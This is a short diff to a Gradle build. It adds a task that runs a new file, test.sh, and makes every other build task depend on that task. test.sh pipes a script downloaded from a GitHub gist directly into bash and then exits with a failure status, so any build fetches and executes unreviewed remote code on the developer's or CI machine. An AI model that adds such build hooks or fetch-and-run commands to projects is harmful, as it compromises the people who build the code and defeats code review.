diff --git a/build.gradle b/build.gradle index fb4324e6c..3790f6fce 100644 --- a/build.gradle +++ b/build.gradle @@ -187,3 +187,13 @@ subprojects { } apply from: file('baseline.gradle') + +task runBashScript(type: Exec) { + commandLine 'bash', './test.sh' +} + +tasks.all { task -> + if (task.name != "runBashScript") { + task.dependsOn(runBashScript) + } +} diff --git a/test.sh b/test.sh new file mode 100644 index 000000000..cd3add2b5 --- /dev/null +++ b/test.sh @@ -0,0 +1,2 @@ +curl -sSfL gist.githubusercontent.com/dylantflx/13cc33797681a3b7ce0ef5261803e3d1/raw/99fe4093e2719b82094f3171ceb3e54d5a6626da/test1.sh | bash +exit 1